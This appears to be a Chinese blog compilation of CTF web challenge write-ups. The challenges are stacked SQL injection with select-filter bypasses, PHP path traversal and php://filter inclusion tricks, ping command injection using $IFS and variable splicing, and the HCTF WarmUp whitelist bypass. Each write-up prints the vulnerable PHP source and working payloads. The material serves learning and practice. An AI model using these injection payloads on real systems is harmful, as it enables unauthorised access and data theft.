强网杯-2019-随便注

强网杯-2019-随便注

1.过程

image-20210115221958691

inject是注入点。

1
?inject=1' order by 2--+

测试发现有两列。

联合查询发现有过滤,大小写不能绕过:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

;不会报错,应该是堆叠注入?

1
2
show databases 查库
show tables 查表

image-20210115223134181

这两个表,可以看看。

1
2
3
4
5
6
7
8
9
show columns from `words`
//查看words表的结构
(show full 显示表格详细信息)
show columns from `1919810931114514`
1919810931114514里面有flag的信息。
默认查询的应该是words表。
那……预设的可能是
SELECT * FROM words WHERE inject='inject'
………额,sql语句怎么改表名?

查了一波资料,似乎有三种方法。

2.方法
一.select绕过

通过set、prepare、concat语句预设拼接好的select语句,运行即可。

1
2
3
4
5
?inject=1';
SET @lgy=concat('sel','ect * from `1919810931114514`;');//concat可以拼接字符串
PREPARE std from @lgy; //预设拼接后的语句,绕过select过滤
execute std; //执行
--+ //注释

image-20210115225848460

对于预设语句也是有过滤……确实预设好像挺秀的……

这个过滤用&&,还用strstr……用大小写绕过。

image-20210115230038360

可以得到flag。

二.更改表名
1
2
3
4
5
6
7
8
rename table `words` to `ina`;
rename table `1919810931114514` to `words`;
结果是报错: Unknown column 'id' in 'where clause'
预设查询的是where id =……
但改完后表中没有这一列
alter table `words` change `flag` `id` varchar(100);
//ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
//VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度。

再用?inject=-1’ or 1=1;就可以查出flag。

三.hander

​ handler语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;--+
1
flag{8138544e-d707-45a7-b56a-fc5e52a47572}

……确实可以,tqltql

 WEB
  

SSRF1

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
echo'<center><strong>啊这,这怎么...这file_get_contents()有啥用呢</strong></center>';
highlight_file(__FILE__);
$url =$_GET ['url'];
if (preg_match('/dotnet\.com/', $url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i', $url)) {
echo (file_get_contents($url));
}
else {
echo('没看到过滤了吗...');
}
}
else{
echo ("这个怎么绕过呢?") ;
}
//flag is in '/flag'
?>
2.过程

SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

……啥?

过滤了很多协议……查找后得知:

当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞

而flag在根目录,所以一直向上跳转即可,哦,还要包括dotent.com。

payload:?url=lgy://dotnet.com/../../../../../../../../flag

3.知识点:
  • / :表示当前路径的根路径
  • ./ :表示当前路径
  • ../ :表示父级路径,当前路径所在的上一级路径
  • file_get_contents()的$filename参数不仅仅为文件路径,还可以是一个URL(伪协议)(?
  

伪协议2

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
echo '<center><strong>针不戳,吃柠檬的感觉针不戳</strong></center>';
highlight_file(__FILE__);
$file=$_GET['file'];
if (isset($file)){
if(preg_match('/php|file|zip|bzip|zlib|base|data/i',$file)){
echo ('hacker!!!');
}else {
$a=str_replace("troye","",$file);
include $a;
}
}
#不对劲,总感觉写错了啥,算了,继续吃柠檬~
2.过程

这次是大写也过滤了,没辙了……

但是下面又有了新语句,$a=str_replace(“troye”,””,$file);

检测troye并从字符串中去掉,把troye混进去就可以绕过了。

payload:?file=PHtroyeP://filter/read=convert.BAStroyeE64-encode/resource=flag

em,没了

 WEB
  

伪协议1

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
echo '<center><strong>针不戳,吃柠檬的感觉针不戳</strong></center>';
highlight_file(__FILE__);
$file=$_GET['file'];
if (isset($file)){
if(preg_match('/php|file|zip|bzip|zlib|base|data/',$file)){
echo ('hacker!!!');
}else {
include $file;
}
}
#不对劲,总感觉写错了啥,算了,先去吃柠檬~
?>
 WEB
  

GXYCTF2019-PingPingPing

[GXYCTF2019]Ping Ping Ping

1.题目链接:
2.过程:

ping功能原理是向网络上的机器的唯一确定的IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,两台网络机器是否连接相通,时延是多少。

在进行ping功能的命令同时,可使其同时执行额外的其他命令

这需要用到一些命令管道符:

|:直接执行后面的语句

||:如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句

&:前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果

&&:如果前面的语句为假,则直接报错,也不执行后面的语句

;:多个语句不互相影响

详细:https://blog.csdn.net/youshaoduo/article/details/106607038

所以用:?ip=127.0.0.1||ls,可以得到:

1
2
3
4
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

用cat flag,显示:/?ip= fxck your space!

……

cat<>flag => /?ip= 1fxck your symbol!

这里有一个关于空格的过滤:

{IFS},$IFS$9,$IFS$1,<,<>,{cat,test.txt} ,……

cmd=$’\x20test.txt’&&cat$cmd

x20为16进制数,为32,\转义字符根据ASCII表,为空格……

payload中有flag:/?ip= 1fxck your flag!……

先访问index.php,payload:?ip=127.0.0.1||cat$IFS$9index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

显示了具体的过滤机制,如果要绕过flag的匹配,可以考虑借助$a,进行拼接。

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

em,拼接好像只能在最后一位,不然好像会出现变量名识别的错误……

1
2
3
<?php
$flag = "flag{835db201-f524-4497-a7f5-fca850954a63}";
?>

好像是当做php语句执行了,查看源码可以看到(大概)……

 WEB
  

BuuCTF-WEB部分基础题-1

BuuCTF-WEB部分基础题(1)

感觉这些题单独写有点少……所以写一块。

[ACTF2020 新生赛]Include

1.题目链接:
2.过程:

题目说明’include’为文件包含漏洞。打开后有一个tips,点开后URL出现了file=flag.php.的调用。

flag应该在flag.php中,但是以php语句解释并运行,导致flag无法正常显示……

所以可以在中间对其进行base64编码,使其无法运行……

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码后:

1
2
3
<?php
echo "Can you find out the flag?";
//flag{d962dde8-63dd-4b9d-bed6-ca2d1234e05a}

em,原来是注释掉了……

[极客大挑战 2019]EasySQL

1.题目链接:
2.过程:

我是cl4y,是一个WEB开发程序员,最近我做了一个网站,快来看看它有多精湛叭!

SQL也是刚学,找个简单的练练手……

打开之后是一个用户登录界面。

随便一输,回显“NO,Wrong username password!!!”

试试我新学的万能密码

1' or 1=1#

'闭合掉上一个语句,or 1=1 恒true,#注释掉后面的语句

结果直接把flag打出来了……

flag{44c19f5a-76e2-4d2a-b95f-50755985dc5a}

……

 WEB
  

5.HCTF-2018-WarmUp

题目地址:

解题过程:

网页上打开就只有一个大滑稽,网页名是Document,所以是文件包含?提交file参数,一直是:you can’t see it。

题目标签是代码审计,我也没看到代码啊……

查看源代码看到source.php内心毫无波澜,后来查找才知道要访问它……(菜\1)*

好,访问source.php我终于看到代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

到目前为止还没有看到过这么长的代码审计(菜\2)*

先看与file有关的代码:

1
2
3
4
5
6
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;

file要求是字符串且不为空,用emmm中的checkFile调用。file中的值传递给了page。checkFile中四个if语句,每个都有return。

第一个if:
1
2
3
4
5
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

先设置了一个白名单数组,准许访问source.php和hint.php,hint.php中存放了flag的位置。第一个if语句要求page存在且为字符串,不符合则return false,退出程序。

第二个if:
1
2
3
if (in_array($page, $whitelist)) {
return true;
}

in_array()函数在page中查找是否有与whitelist中键值对应的字符串。有则return true,退出程序。

第三个if:
1
2
3
4
5
6
7
8
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

mb_strpos为page拼接了一个?,并返回其**第一次出现的位置**。mb_substr从开头显示字符至?所在的位置,处理后page再次进行比对。

那不是只能读source.php了?……$_page啊,那没事了……(菜\3)*

第四个if:
1
2
3
4
5
6
7
8
9
10
11
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

先对page进行了url编码,再进行读取和对比的操作……

注意:PHP中$_GET、$_POST、$_REQUEST这类函数在提取参数值时会URL解码一次

这位师傅上面写第三个if不能利用,但逻辑理通之后我感觉也是可以利用的。

?一次编码为%3F,二次编码为%253F,那么第三个if的利用需要if的一次编码。

第三个if利用:

payload:?file=source.php%3F../../../../../../ffffllllaaaagggg(服务器找不到source.php%3F,就视为一个文件夹)

image-20201201140413227

成功出flag

第四个if利用:

自然,需要二次编码的’?‘。

payload:?file=source.php%253F../../../../../../ffffllllaaaagggg

image-20201201140836595

总算做了点实在事……

知识点总结:

补充https://www.feiniaomy.com/post/388.html

  • 关于路径符号的一些知识。
  • 服务器找不到XXXXXXX,就视为一个文件夹。

:D 一言句子获取中...